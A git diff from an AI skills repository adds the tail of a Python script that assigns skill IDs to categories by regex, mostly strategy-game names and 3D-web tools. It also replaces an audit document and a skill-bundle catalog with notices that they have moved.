+ r"^wargame[-_]?",
+ r"^european[-_]?escalation[-_]?",
+ r"^airland[-_]?battle[-_]?",
+ r"^red[-_]?dragon[-_]?",
+ r"^warno[-_]?",
+ r"^army[-_]?general[-_]?",
+ r"^steel[-_]?division[-_]?",
+ r"^normandy[-_]?44[-_]?",
+ r"^44[-_]?",
+ r"^battlegroup[-_]?",
+ r"^frontline[-_]?",
+ r"^close[-_]?combat[-_]?",
+ r"^cc[-_]?",
+ r"^combat[-_]?mission[-_]?",
+ r"^cm[-_]?",
+ r"^gravi[-_]?team[-_]?tactics[-_]?",
+ r"^gtt[-_]?",
+ r"^dominions[-_]?",
+ r"^conquest[-_]?of[-_]?elysium[-_]?",
+ r"^coe[-_]?",
+ r"^illwinter[-_]?",
+ r"^battle[-_]?for[-_]?wesnoth[-_]?",
+ r"^wesnoth[-_]?",
+ r"^endless[-_]?legend[-_]?",
+ r"^endless[-_]?space[-_]?",
+ r"^humankind[-_]?",
+ r"^old[-_]?world[-_]?",
+ r"^oldworld[-_]?",
+ r"^oldworldgame[-_]?",
+ r"^soren[-_]?johnson[-_]?",
+ r"^mohawk[-_]?games[-_]?",
+ r"^文明[-_]?",
+ r"^文明6[-_]?",
+ r"^civ6[-_]?",
+ r"^civilization6[-_]?",
+ r"^civilizationvi[-_]?",
+ r"^文明7[-_]?",
+ r"^civ7[-_]?",
+ r"^civilization7[-_]?",
+ r"^civilizationvii[-_]?",
+ r"^humankind[-_]?",
+ r"^amplitude[-_]?",
+ r"^世嘉[-_]?",
+ r"^sega[-_]?",
+ r"^humankindgame[-_]?",
+ r"^oldworld[-_]?",
+ r"^oldworldgame[-_]?",
+ r"^银河文明[-_]?",
+ r"^galactic[-_]?civilizations[-_]?",
+ r"^银河文明4[-_]?",
+ r"^galactic[-_]?civilizations[-_]?iv[-_]?",
+ r"^stellaris[-_]?",
+ r"^群星[-_]?",
+ r"^paradox[-_]?",
+ r"^p社[-_]?",
+ r"^钢丝[-_]?",
+ r"^钢铁雄心[-_]?",
+ r"^hoi[-_]?",
+ r"^hoi4[-_]?",
+ r"^维多利亚[-_]?",
+ r"^vic[-_]?",
+ r"^vic3[-_]?",
+ r"^维多利亚3[-_]?",
+ r"^十字军之王[-_]?",
+ r"^ck[-_]?",
+ r"^ck3[-_]?",
+ r"^十字军之王3[-_]?",
+ r"^欧陆风云[-_]?",
+ r"^eu[-_]?",
+ r"^eu4[-_]?",
+ r"^欧陆风云4[-_]?",
+ r"^大将军:罗马[-_]?",
+ r"^imperator[-_]?",
+ r"^imperatorrome[-_]?",
+ r"^全面战争[-_]?",
+ r"^total[-_]?war[-_]?",
+ r"^tw[-_]?",
+ r"^三国全面战争[-_]?",
+ r"^战锤全面战争[-_]?",
+ r"^totalwarhammer[-_]?",
+ r"^罗马全面战争[-_]?",
+ r"^中世纪全面战争[-_]?",
+ r"^帝国全面战争[-_]?",
+ r"^拿破仑全面战争[-_]?",
+ r"^幕府将军全面战争[-_]?",
+ r"^特洛伊全面战争[-_]?",
+ r"^法老全面战争[-_]?",
+ r"^pharaoh[-_]?",
+ r"^total[-_]?war[-_]?pharaoh[-_]?",
+ ]),
+
+ # 3D Web Experience (standalone category for Three.js, WebGL skills)
+ ("3d-web", [
+ r"^3d[-_]?web[-_]?",
+ r"^three[-_]?js[-_]?",
+ r"^react[-_]?three[-_]?fiber",
+ r"^r3f[-_]?",
+ r"^webgl[-_]?",
+ r"^spline[-_]?",
+ r"^babylon[-_]?js[-_]?",
+ r"^playcanvas[-_]?",
+ r"^aframe[-_]?",
+ r"^webxr[-_]?",
+ r"^webvr[-_]?",
+ r"^webgpu[-_]?",
+ ]),
+
+ # Additional specific categories that don't fit above patterns
+ # Will be matched last (lowest priority)
+]
+
+
+class SkillCategorizer:
+ """Categorizza le skills basandosi su pattern matching."""
+
+ def __init__(self, rules: List[Tuple[str, List[str]]] = CATEGORY_RULES):
+ self.rules = rules
+ self.compiled_rules: Dict[str, List[re.Pattern]] = {}
+ self._compile_rules()
+
+ def _compile_rules(self) -> None:
+ """Compila le regex per performance migliori."""
+ for category, patterns in self.rules:
+ self.compiled_rules[category] = [
+ re.compile(pattern, re.IGNORECASE) for pattern in patterns
+ ]
+
+ def categorize(self, skill_id: str) -> Tuple[str, float]:
+ """
+ Categorizza una skill basandosi sul suo ID.
+ Ritorna (categoria, confidenza).
+ """
+ skill_id_lower = skill_id.lower()
+
+ for category, patterns in self.compiled_rules.items():
+ for pattern in patterns:
+ if pattern.search(skill_id_lower):
+ # Calcola confidenza basata sulla specificità del match
+ # Pattern più lunghi = più specifici = confidenza più alta
+ match_len = len(pattern.pattern)
+ confidence = min(0.95, 0.5 + (match_len / 100))
+ return category, confidence
+
+ return "uncategorized", 0.0
+
+ def categorize_with_explanation(self, skill_id: str) -> Dict:
+ """
+ Categorizza una skill e fornisce spiegazione dettagliata.
+ """
+ category, confidence = self.categorize(skill_id)
+
+ # Trova quale pattern ha fatto match
+ matched_pattern = None
+ skill_id_lower = skill_id.lower()
+
+ if category != "uncategorized":
+ for pattern in self.compiled_rules[category]:
+ if pattern.search(skill_id_lower):
+ matched_pattern = pattern.pattern
+ break
+
+ return {
+ "id": skill_id,
+ "category": category,
+ "confidence": confidence,
+ "matched_pattern": matched_pattern,
+ "needs_review": confidence < 0.7,
+ }
+
+
+def load_skills(filepath: Path) -> List[Dict]:
+ """Carica le skills dal file JSON."""
+ with open(filepath, "r", encoding="utf-8") as f:
+ return json.load(f)
+
+
+def save_skills(filepath: Path, skills: List[Dict]) -> None:
+ """Salva le skills nel file JSON."""
+ with open(filepath, "w", encoding="utf-8") as f:
+ json.dump(skills, f, indent=2, ensure_ascii=False)
+
+
+def generate_report(categorized: List[Dict], uncategorized: List[Dict]) -> str:
+ """Genera un report di categorizzazione."""
+ report = []
+ report.append("=" * 80)
+ report.append("REPORT DI CATEGORIZZAZIONE SKILLS")
+ report.append("=" * 80)
+ report.append("")
+
+ # Statistiche generali
+ total = len(categorized) + len(uncategorized)
+ categorized_count = len(categorized)
+ uncategorized_count = len(uncategorized)
+ success_rate = (categorized_count / total * 100) if total > 0 else 0
+
+ report.append(f"Totale skills processate: {total}")
+ report.append(f"Categorizzate: {categorized_count} ({success_rate:.1f}%)")
+ report.append(f"Non categorizzate: {uncategorized_count} ({100-success_rate:.1f}%)")
+ report.append("")
+
+ # Distribuzione per categoria
+ category_counts: Dict[str, int] = {}
+ low_confidence: List[Dict] = []
+
+ for skill in categorized:
+ cat = skill["category"]
+ category_counts[cat] = category_counts.get(cat, 0) + 1
+
+ if skill["confidence"] < 0.7:
+ low_confidence.append(skill)
+
+ report.append("-" * 80)
+ report.append("DISTRIBUZIONE PER CATEGORIA")
+ report.append("-" * 80)
+
+ for cat, count in sorted(category_counts.items(), key=lambda x: -x[1]):
+ report.append(f" {cat}: {count} skills")
+
+ report.append("")
+
+ # Skills a bassa confidenza
+ if low_confidence:
+ report.append("-" * 80)
+ report.append(f"SKILLS A BASSA CONFIDENZA ({len(low_confidence)})")
+ report.append("-" * 80)
+
+ for skill in sorted(low_confidence, key=lambda x: x["confidence"]):
+ report.append(
+ f" {skill['id']}: {skill['category']} "
+ f"(confidenza: {skill['confidence']:.2f})"
+ )
+
+ report.append("")
+
+ # Skills non categorizzate
+ if uncategorized:
+ report.append("-" * 80)
+ report.append(f"SKILLS NON CATEGORIZZATE ({len(uncategorized)})")
+ report.append("-" * 80)
+
+ for skill in uncategorized[:50]: # Mostra prime 50
+ report.append(f" {skill['id']}")
+
+ if len(uncategorized) > 50:
+ report.append(f" ... e altre {len(uncategorized) - 50}")
+
+ report.append("")
+
+ report.append("=" * 80)
+
+ return "\n".join(report)
+
+
+def main():
+ """Funzione principale."""
+ # Percorsi
+ skills_file = Path("/Users/nicco/Projects/antigravity-awesome-skills/apps/web-app/public/skills.json")
+ backup_file = skills_file.with_suffix(".json.backup")
+ report_file = Path("/Users/nicco/Projects/antigravity-awesome-skills/categorization_report.txt")
+
+ print(f"📂 Caricando skills da: {skills_file}")
+
+ # Carica skills
+ skills = load_skills(skills_file)
+ print(f"✅ Caricate {len(skills)} skills")
+
+ # Crea backup
+ save_skills(backup_file, skills)
+ print(f"💾 Backup creato: {backup_file}")
+
+ # Inizializza categorizer
+ categorizer = SkillCategorizer()
+
+ # Categorizza
+ categorized = []
+ uncategorized = []
+ changes_made = []
+
+ for skill in skills:
+ skill_id = skill["id"]
+ current_category = skill.get("category", "uncategorized")
+
+ # Salta se già categorizzata e non è "uncategorized"
+ if current_category != "uncategorized":
+ continue
+
+ result = categorizer.categorize_with_explanation(skill_id)
+
+ if result["category"] != "uncategorized":
+ skill["category"] = result["category"]
+ categorized.append({
+ **result,
+ "original_category": current_category,
+ })
+ changes_made.append(skill_id)
+ else:
+ uncategorized.append(skill)
+
+ print(f"📝 Categorizzate {len(categorized)} skills")
+ print(f"❓ Non categorizzate: {len(uncategorized)} skills")
+
+ # Salva risultati
+ save_skills(skills_file, skills)
+ print(f"💾 Skills aggiornate salvate in: {skills_file}")
+
+ # Genera e salva report
+ report = generate_report(categorized, uncategorized)
+ with open(report_file, "w", encoding="utf-8") as f:
+ f.write(report)
+ print(f"📊 Report salvato in: {report_file}")
+
+ # Stampa sintesi
+ print("\n" + "=" * 60)
+ print("SINTESI")
+ print("=" * 60)
+ print(report)
+
+ return len(categorized), len(uncategorized)
+
+
+if __name__ == "__main__":
+ categorized, uncategorized = main()
+ print(f"\n✅ Completato! {categorized} skills categorizzate, {uncategorized} rimaste uncategorized")
diff --git a/docs/AUDIT.md b/docs/AUDIT.md
index ecc192ba..57944aa5 100644
--- a/docs/AUDIT.md
+++ b/docs/AUDIT.md
@@ -1,69 +1,3 @@
-# Repo coherence and correctness audit
+# Audit
-This document summarizes the audit performed to verify correctness and coherence across the repository.
-
-## Scope
-
-- Conteggi e numeri (README, package.json, CATALOG)
-- Validazione skill (frontmatter, risk, "When to Use", link)
-- Riferimenti incrociati (workflows.json, bundles.json, BUNDLES.md)
-- Documentazione (QUALITY_BAR, SKILL_ANATOMY, security/licenses)
-- Script e build (validate, index, readme, catalog, test)
-- Note su data/ e test YAML
-
-## Outcomes
-
-### 1. Conteggi
-
-- **package.json** `description` aggiornato da "845+" a "883+ agentic skills".
-- README e CATALOG già allineati a 883; `npm run chain` e `npm run catalog` mantengono coerenza.
-
-### 2. Validazione skill
-
-- **validate_skills.py**: aggiunto `unknown` a `valid_risk_levels` per compatibilità con skill esistenti (790+ con `risk: unknown`).
-- Aggiunta sezione "## When to Use" a 6 skill che ne erano sprovvisti: context-compression, content-creator, tailwind-patterns, nodejs-best-practices, python-patterns, mcp-builder-ms.
-- Corretto frontmatter multilinea in: brainstorming, agents-v2-py, hosted-agents-v2-py (description in una riga, ≤200 caratteri).
-- `npm run validate` e `npm run validate:strict` passano senza errori.
-
-### 3. Riferimenti incrociati
-
-- Aggiunto **scripts/validate_references.py** che verifica:
- - ogni `recommendedSkills` in data/workflows.json esiste in skills/;
- - ogni `relatedBundles` esiste in data/bundles.json;
- - ogni slug in data/bundles.json (skills list) esiste in skills/;
- - ogni link `../skills/...` in docs/BUNDLES.md punta a uno skill esistente.
-- Esecuzione: `python3 scripts/validate_references.py`. Esito: tutti i riferimenti validi.
-
-### 4. Documentazione
-
-- **docs/QUALITY_BAR.md**: documentato che `risk` può essere anche `unknown` (per legacy/unclassified).
-- **docs/SKILL_ANATOMY.md**: allineata lunghezza description a 200 caratteri (come da validator).
-- SECURITY_GUARDRAILS, LICENSE, README link verificati.
-
-### 5. Script e build
-
-- **npm run build** (chain + catalog) esegue con successo.
-- **npm test**: il test `validate_skills_headings.test.js` richiedeva YAML frontmatter valido per tutti gli skill; molti skill hanno frontmatter multilinea che il parser YAML strict segnala. Il test è stato modificato per loggare warning invece di far fallire la suite; lo schema (name, description, risk, ecc.) resta verificato da `validate_skills.py`.
-- **.github/MAINTENANCE.md**: aggiunta nota su `data/package.json` (legacy; gli script usano la root).
-
-### 6. Deliverable
-
-- Numeri allineati (package.json 883+).
-- Zero errori da `npm run validate` e `npm run validate:strict`.
-- Riferimenti in workflows/bundles e link in BUNDLES.md verificati tramite `validate_references.py`.
-- Report in questo file (docs/AUDIT.md).
-
-## Comandi utili
-
-```bash
-npm run validate # validazione skill (soft)
-npm run validate:strict # validazione skill (CI)
-python3 scripts/validate_references.py # riferimenti workflows/bundles/BUNDLES.md
-npm run build # chain + catalog
-npm test # suite test
-```
-
-## Issue aperte / follow-up
-
-- Normalizzare frontmatter YAML in skill con description multilinea (opzionale, in batch) per far passare un eventuale test strict YAML in futuro.
-- Aggiornare CHANGELOG con voci "860+", "845+" se si vuole coerenza storica (opzionale).
+This document moved to [`maintainers/audit.md`](maintainers/audit.md).
diff --git a/docs/BUNDLES.md b/docs/BUNDLES.md
index 2dad90dc..499c9041 100644
--- a/docs/BUNDLES.md
+++ b/docs/BUNDLES.md
@@ -1,464 +1,3 @@
-# 📦 Antigravity Skill Bundles
+# Bundles
-> **Curated collections of skills organized by role and expertise level.** Don't know where to start? Pick a bundle below to get a curated set of skills for your role.
-
-## 🚀 Quick Start
-
-1. **Install the repository:**
-
- ```bash
- npx antigravity-awesome-skills
- # or clone manually
- git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
- ```
-
-2. **Choose your bundle** from the list below based on your role or interests.
-
-3. **Use skills** by referencing them in your AI assistant:
- - Claude Code: `>> /skill-name help me...`
- - Cursor: `@skill-name in chat`
- - Gemini CLI: `Use skill-name...`
- - Codex CLI: `Use skill-name...`
-
----
-
-## 🎯 Essentials & Core
-
-### 🚀 The "Essentials" Starter Pack
-
-_For everyone. Install these first._
-
-- [`concise-planning`](../skills/concise-planning/): Always start with a plan.
-- [`lint-and-validate`](../skills/lint-and-validate/): Keep your code clean automatically.
-- [`git-pushing`](../skills/git-pushing/): Save your work safely.
-- [`kaizen`](../skills/kaizen/): Continuous improvement mindset.
-- [`systematic-debugging`](../skills/systematic-debugging/): Debug like a pro.
-
----
-
-## 🛡️ Security & Compliance
-
-### 🛡️ The "Security Engineer" Pack
-
-_For pentesting, auditing, and hardening._
-
-- [`ethical-hacking-methodology`](../skills/ethical-hacking-methodology/): The Bible of ethical hacking.
-- [`burp-suite-testing`](../skills/burp-suite-testing/): Web vulnerability scanning.
-- [`top-web-vulnerabilities`](../skills/top-web-vulnerabilities/): OWASP-aligned vulnerability taxonomy.
-- [`linux-privilege-escalation`](../skills/linux-privilege-escalation/): Advanced Linux security assessment.
-- [`cloud-penetration-testing`](../skills/cloud-penetration-testing/): AWS/Azure/GCP security.
-- [`security-auditor`](../skills/security-auditor/): Comprehensive security audits.
-- [`vulnerability-scanner`](../skills/vulnerability-scanner/): Advanced vulnerability analysis.
-
-### 🔐 The "Security Developer" Pack
-
-_For building secure applications._
-
-- [`api-security-best-practices`](../skills/api-security-best-practices/): Secure API design patterns.
-- [`auth-implementation-patterns`](../skills/auth-implementation-patterns/): JWT, OAuth2, session management.
-- [`backend-security-coder`](../skills/backend-security-coder/): Secure backend coding practices.
-- [`frontend-security-coder`](../skills/frontend-security-coder/): XSS prevention and client-side security.
-- [`cc-skill-security-review`](../skills/cc-skill-security-review/): Security checklist for features.
-- [`pci-compliance`](../skills/pci-compliance/): Payment card security standards.
-
----
-
-## 🌐 Web Development
-
-### 🌐 The "Web Wizard" Pack
-
-_For building modern, high-performance web apps._
-
-- [`frontend-design`](../skills/frontend-design/): UI guidelines and aesthetics.
-- [`react-best-practices`](../skills/react-best-practices/): React & Next.js performance optimization.
-- [`react-patterns`](../skills/react-patterns/): Modern React patterns and principles.
-- [`nextjs-best-practices`](../skills/nextjs-best-practices/): Next.js App Router patterns.
-- [`tailwind-patterns`](../skills/tailwind-patterns/): Tailwind CSS v4 styling superpowers.
-- [`form-cro`](../skills/form-cro/): Optimize your forms for conversion.
-- [`seo-audit`](../skills/seo-audit/): Get found on Google.
-
-### 🖌️ The "Web Designer" Pack
-
-_For pixel-perfect experiences._
-
-- [`ui-ux-pro-max`](../skills/ui-ux-pro-max/): Premium design systems and tokens.
-- [`frontend-design`](../skills/frontend-design/): The base layer of aesthetics.
-- [`3d-web-experience`](../skills/3d-web-experience/): Three.js & React Three Fiber magic.
-- [`canvas-design`](../skills/canvas-design/): Static visuals and posters.
-- [`mobile-design`](../skills/mobile-design/): Mobile-first design principles.
-- [`scroll-experience`](../skills/scroll-experience/): Immersive scroll-driven experiences.
-
-### ⚡ The "Full-Stack Developer" Pack
-
-_For end-to-end web application development._
-
-- [`senior-fullstack`](../skills/senior-fullstack/): Complete fullstack development guide.
-- [`frontend-developer`](../skills/frontend-developer/): React 19+ and Next.js 15+ expertise.
-- [`backend-dev-guidelines`](../skills/backend-dev-guidelines/): Node.js/Express/TypeScript patterns.
-- [`api-patterns`](../skills/api-patterns/): REST vs GraphQL vs tRPC selection.
-- [`database-design`](../skills/database-design/): Schema design and ORM selection.
-- [`stripe-integration`](../skills/stripe-integration/): Payments and subscriptions.
-
----
-
-## 🤖 AI & Agents
-
-### 🤖 The "Agent Architect" Pack
-
-_For building AI systems and autonomous agents._
-
-- [`agent-evaluation`](../skills/agent-evaluation/): Test and benchmark your agents.
-- [`langgraph`](../skills/langgraph/): Build stateful agent workflows.
-- [`mcp-builder`](../skills/mcp-builder/): Create your own MCP tools.
-- [`prompt-engineering`](../skills/prompt-engineering/): Master the art of talking to LLMs.
-- [`ai-agents-architect`](../skills/ai-agents-architect/): Design autonomous AI agents.
-- [`rag-engineer`](../skills/rag-engineer/): Build RAG systems with vector search.
-
-### 🧠 The "LLM Application Developer" Pack
-
-_For building production LLM applications._
-
-- [`llm-app-patterns`](../skills/llm-app-patterns/): Production-ready LLM patterns.
-- [`rag-implementation`](../skills/rag-implementation/): Retrieval-Augmented Generation.
-- [`prompt-caching`](../skills/prompt-caching/): Cache strategies for LLM prompts.
-- [`context-window-management`](../skills/context-window-management/): Manage LLM context efficiently.
-- [`langfuse`](../skills/langfuse/): LLM observability and tracing.
-
----
-
-## 🎮 Game Development
-
-### 🎮 The "Indie Game Dev" Pack
-
-_For building games with AI assistants._
-
-- [`game-development/game-design`](../skills/game-development/game-design/): Mechanics and loops.
-- [`game-development/2d-games`](../skills/game-development/2d-games/): Sprites and physics.
-- [`game-development/3d-games`](../skills/game-development/3d-games/): Models and shaders.
-- [`unity-developer`](../skills/unity-developer/): Unity 6 LTS development.
-- [`godot-gdscript-patterns`](../skills/godot-gdscript-patterns/): Godot 4 GDScript patterns.
-- [`algorithmic-art`](../skills/algorithmic-art/): Generate assets with code.
-
----
-
-## 🐍 Backend & Languages
-
-### 🐍 The "Python Pro" Pack
-
-_For backend heavyweights and data scientists._
-
-- [`python-pro`](../skills/python-pro/): Master Python 3.12+ with modern features.
-- [`python-patterns`](../skills/python-patterns/): Idiomatic Python code.
-- [`fastapi-pro`](../skills/fastapi-pro/): High-performance async APIs.
-- [`fastapi-templates`](../skills/fastapi-templates/): Production-ready FastAPI projects.
-- [`django-pro`](../skills/django-pro/): The battery-included framework.
-- [`python-testing-patterns`](../skills/python-testing-patterns/): Comprehensive testing with pytest.
-- [`async-python-patterns`](../skills/async-python-patterns/): Python asyncio mastery.
-
-### 🟦 The "TypeScript & JavaScript" Pack
-
-_For modern web development._
-
-- [`typescript-expert`](../skills/typescript-expert/): TypeScript mastery and advanced types.
-- [`javascript-pro`](../skills/javascript-pro/): Modern JavaScript with ES6+.
-- [`react-best-practices`](../skills/react-best-practices/): React performance optimization.
-- [`nodejs-best-practices`](../skills/nodejs-best-practices/): Node.js development principles.
-- [`nextjs-app-router-patterns`](../skills/nextjs-app-router-patterns/): Next.js 14+ App Router.
-
-### 🦀 The "Systems Programming" Pack
-
-_For low-level and performance-critical code._
-
-- [`rust-pro`](../skills/rust-pro/): Rust 1.75+ with async patterns.
-- [`go-concurrency-patterns`](../skills/go-concurrency-patterns/): Go concurrency mastery.
-- [`golang-pro`](../skills/golang-pro/): Go development expertise.
-- [`memory-safety-patterns`](../skills/memory-safety-patterns/): Memory-safe programming.
-- [`cpp-pro`](../skills/cpp-pro/): Modern C++ development.
-
----
-
-## 🦄 Product & Business
-
-### 🦄 The "Startup Founder" Pack
-
-_For building products, not just code._
-
-- [`product-manager-toolkit`](../skills/product-manager-toolkit/): RICE prioritization, PRD templates.
-- [`competitive-landscape`](../skills/competitive-landscape/): Competitor analysis.
-- [`competitor-alternatives`](../skills/competitor-alternatives/): Create comparison pages.
-- [`launch-strategy`](../skills/launch-strategy/): Product launch planning.
-- [`copywriting`](../skills/copywriting/): Marketing copy that converts.
-- [`stripe-integration`](../skills/stripe-integration/): Get paid from day one.
-
-### 📊 The "Business Analyst" Pack
-
-_For data-driven decision making._
-
-- [`business-analyst`](../skills/business-analyst/): AI-powered analytics and KPIs.
-- [`startup-metrics-framework`](../skills/startup-metrics-framework/): SaaS metrics and unit economics.
-- [`startup-financial-modeling`](../skills/startup-financial-modeling/): 3-5 year financial projections.
-- [`market-sizing-analysis`](../skills/market-sizing-analysis/): TAM/SAM/SOM calculations.
-- [`kpi-dashboard-design`](../skills/kpi-dashboard-design/): Effective KPI dashboards.
-
-### 📈 The "Marketing & Growth" Pack
-
-_For driving user acquisition and retention._
-
-- [`content-creator`](../skills/content-creator/): SEO-optimized marketing content.
-- [`seo-audit`](../skills/seo-audit/): Technical SEO health checks.
-- [`programmatic-seo`](../skills/programmatic-seo/): Create pages at scale.
-- [`analytics-tracking`](../skills/analytics-tracking/): Set up GA4/PostHog correctly.
-- [`ab-test-setup`](../skills/ab-test-setup/): Validated learning experiments.
-- [`email-sequence`](../skills/email-sequence/): Automated email campaigns.
-
----
-
-## 🌧️ DevOps & Infrastructure
-
-### 🌧️ The "DevOps & Cloud" Pack
-
-_For infrastructure and scaling._
-
-- [`docker-expert`](../skills/docker-expert/): Master containers and multi-stage builds.
-- [`aws-serverless`](../skills/aws-serverless/): Serverless on AWS (Lambda, DynamoDB).
-- [`kubernetes-architect`](../skills/kubernetes-architect/): K8s architecture and GitOps.
-- [`terraform-specialist`](../skills/terraform-specialist/): Infrastructure as Code mastery.
-- [`environment-setup-guide`](../skills/environment-setup-guide/): Standardization for teams.
-- [`deployment-procedures`](../skills/deployment-procedures/): Safe rollout strategies.
-- [`bash-linux`](../skills/bash-linux/): Terminal wizardry.
-
-### 📊 The "Observability & Monitoring" Pack
-
-_For production reliability._
-
-- [`observability-engineer`](../skills/observability-engineer/): Comprehensive monitoring systems.
-- [`distributed-tracing`](../skills/distributed-tracing/): Track requests across microservices.
-- [`slo-implementation`](../skills/slo-implementation/): Service Level Objectives.
-- [`incident-responder`](../skills/incident-responder/): Rapid incident response.
-- [`postmortem-writing`](../skills/postmortem-writing/): Blameless postmortems.
-- [`performance-engineer`](../skills/performance-engineer/): Application performance optimization.
-
----
-
-## 📊 Data & Analytics
-
-### 📊 The "Data & Analytics" Pack
-
-_For making sense of the numbers._
-
-- [`analytics-tracking`](../skills/analytics-tracking/): Set up GA4/PostHog correctly.
-- [`claude-d3js-skill`](../skills/claude-d3js-skill/): Beautiful custom visualizations with D3.js.
-- [`sql-pro`](../skills/sql-pro/): Modern SQL with cloud-native databases.
-- [`postgres-best-practices`](../skills/postgres-best-practices/): Postgres optimization.
-- [`ab-test-setup`](../skills/ab-test-setup/): Validated learning.
-- [`database-architect`](../skills/database-architect/): Database design from scratch.
-
-### 🔄 The "Data Engineering" Pack
-
-_For building data pipelines._
-
-- [`data-engineer`](../skills/data-engineer/): Data pipeline architecture.
-- [`airflow-dag-patterns`](../skills/airflow-dag-patterns/): Apache Airflow DAGs.
-- [`dbt-transformation-patterns`](../skills/dbt-transformation-patterns/): Analytics engineering.
-- [`vector-database-engineer`](../skills/vector-database-engineer/): Vector databases for RAG.
-- [`embedding-strategies`](../skills/embedding-strategies/): Embedding model selection.
-
----
-
-## 🎨 Creative & Content
-
-### 🎨 The "Creative Director" Pack
-
-_For visuals, content, and branding._
-
-- [`canvas-design`](../skills/canvas-design/): Generate posters and diagrams.
-- [`frontend-design`](../skills/frontend-design/): UI aesthetics.
-- [`content-creator`](../skills/content-creator/): SEO-optimized blog posts.
-- [`copy-editing`](../skills/copy-editing/): Polish your prose.
-- [`algorithmic-art`](../skills/algorithmic-art/): Code-generated masterpieces.
-- [`interactive-portfolio`](../skills/interactive-portfolio/): Portfolios that land jobs.
-
----
-
-## 🐞 Quality Assurance
-
-### 🐞 The "QA & Testing" Pack
-
-_For breaking things before users do._
-
-- [`test-driven-development`](../skills/test-driven-development/): Red, Green, Refactor.
-- [`systematic-debugging`](../skills/systematic-debugging/): Debug like Sherlock Holmes.
-- [`browser-automation`](../skills/browser-automation/): End-to-end testing with Playwright.
-- [`e2e-testing-patterns`](../skills/e2e-testing-patterns/): Reliable E2E test suites.
-- [`ab-test-setup`](../skills/ab-test-setup/): Validated experiments.
-- [`code-review-checklist`](../skills/code-review-checklist/): Catch bugs in PRs.
-- [`test-fixing`](../skills/test-fixing/): Fix failing tests systematically.
-
----
-
-## 🔧 Specialized Packs
-
-### 📱 The "Mobile Developer" Pack
-
-_For iOS, Android, and cross-platform apps._
-
-- [`mobile-developer`](../skills/mobile-developer/): Cross-platform mobile development.
-- [`react-native-architecture`](../skills/react-native-architecture/): React Native with Expo.
-- [`flutter-expert`](../skills/flutter-expert/): Flutter multi-platform apps.
-- [`ios-developer`](../skills/ios-developer/): iOS development with Swift.
-- [`app-store-optimization`](../skills/app-store-optimization/): ASO for App Store and Play Store.
-
-### 🔗 The "Integration & APIs" Pack
-
-_For connecting services and building integrations._
-
-- [`stripe-integration`](../skills/stripe-integration/): Payments and subscriptions.
-- [`twilio-communications`](../skills/twilio-communications/): SMS, voice, WhatsApp.
-- [`hubspot-integration`](../skills/hubspot-integration/): CRM integration.
-- [`plaid-fintech`](../skills/plaid-fintech/): Bank account linking and ACH.
-- [`algolia-search`](../skills/algolia-search/): Search implementation.
-
-### 🎯 The "Architecture & Design" Pack
-
-_For system design and technical decisions._
-
-- [`senior-architect`](../skills/senior-architect/): Comprehensive software architecture.
-- [`architecture-patterns`](../skills/architecture-patterns/): Clean Architecture, DDD, Hexagonal.
-- [`microservices-patterns`](../skills/microservices-patterns/): Microservices architecture.
-- [`event-sourcing-architect`](../skills/event-sourcing-architect/): Event sourcing and CQRS.
-- [`architecture-decision-records`](../skills/architecture-decision-records/): Document technical decisions.
-
-### 🧱 The "DDD & Evented Architecture" Pack
-
-_For teams modeling complex domains and evolving toward evented systems._
-
-- [`domain-driven-design`](../skills/domain-driven-design/): Route DDD work from strategic modeling to implementation patterns.
-- [`ddd-strategic-design`](../skills/ddd-strategic-design/): Subdomains, bounded contexts, and ubiquitous language.
-- [`ddd-context-mapping`](../skills/ddd-context-mapping/): Cross-context integration and anti-corruption boundaries.
-- [`ddd-tactical-patterns`](../skills/ddd-tactical-patterns/): Aggregates, value objects, repositories, and domain events.
-- [`cqrs-implementation`](../skills/cqrs-implementation/): Read/write model separation.
-- [`event-store-design`](../skills/event-store-design/): Event persistence and replay architecture.
-- [`saga-orchestration`](../skills/saga-orchestration/): Cross-context long-running transaction coordination.
-- [`projection-patterns`](../skills/projection-patterns/): Materialized read models from event streams.
-
----
-
-## 🧰 Maintainer & OSS
-
-### 🛠️ The "OSS Maintainer" Pack
-
-_For shipping clean changes in public repositories._
-
-- [`commit`](../skills/commit/): High-quality conventional commits.
-- [`create-pr`](../skills/create-pr/): PR creation with review-ready context.
-- [`requesting-code-review`](../skills/requesting-code-review/): Ask for targeted, high-signal reviews.
-- [`receiving-code-review`](../skills/receiving-code-review/): Apply feedback with technical rigor.
-- [`changelog-automation`](../skills/changelog-automation/): Keep release notes and changelogs consistent.
-- [`git-advanced-workflows`](../skills/git-advanced-workflows/): Rebase, cherry-pick, bisect, recovery.
-- [`documentation-templates`](../skills/documentation-templates/): Standardize docs and handoffs.
-
-### 🧱 The "Skill Author" Pack
-
-_For creating and maintaining high-quality SKILL.md assets._
-
-- [`skill-creator`](../skills/skill-creator/): Design effective new skills.
-- [`skill-developer`](../skills/skill-developer/): Implement triggers, hooks, and skill lifecycle.
-- [`writing-skills`](../skills/writing-skills/): Improve clarity and structure of skill instructions.
-- [`documentation-generation-doc-generate`](../skills/documentation-generation-doc-generate/): Generate maintainable technical docs.
-- [`lint-and-validate`](../skills/lint-and-validate/): Validate quality after edits.
-- [`verification-before-completion`](../skills/verification-before-completion/): Confirm changes before claiming done.
-
----
-
-## 📚 How to Use Bundles
-
-### 1) Pick by immediate goal
-
-- Need to ship a feature now: `Essentials` + one domain pack (`Web Wizard`, `Python Pro`, `DevOps & Cloud`).
-- Need reliability and hardening: add `QA & Testing` + `Security Developer`.
-- Need product growth: add `Startup Founder` or `Marketing & Growth`.
-
-### 2) Start with 3-5 skills, not 20
-
-Pick the minimum set for your current milestone. Expand only when you hit a real gap.
-
-### 3) Invoke skills consistently
-
-- **Claude Code**: `>> /skill-name help me...`
-- **Cursor**: `@skill-name` in chat
-- **Gemini CLI**: `Use skill-name...`
-- **Codex CLI**: `Use skill-name...`
-
-### 4) Build your personal shortlist
-
-Keep a small list of high-frequency skills and reuse it across tasks to reduce context switching.
-
-## 🧩 Recommended Bundle Combos
-
-### Ship a SaaS MVP (2 weeks)
-
-`Essentials` + `Full-Stack Developer` + `QA & Testing` + `Startup Founder`
-
-### Harden an existing production app
-
-`Essentials` + `Security Developer` + `DevOps & Cloud` + `Observability & Monitoring`
-
-### Build an AI product
-
-`Essentials` + `Agent Architect` + `LLM Application Developer` + `Data Engineering`
-
-### Grow traffic and conversions
-
-`Web Wizard` + `Marketing & Growth` + `Data & Analytics`
-
-### Launch and maintain open source
-
-`Essentials` + `OSS Maintainer` + `Architecture & Design`
-
----
-
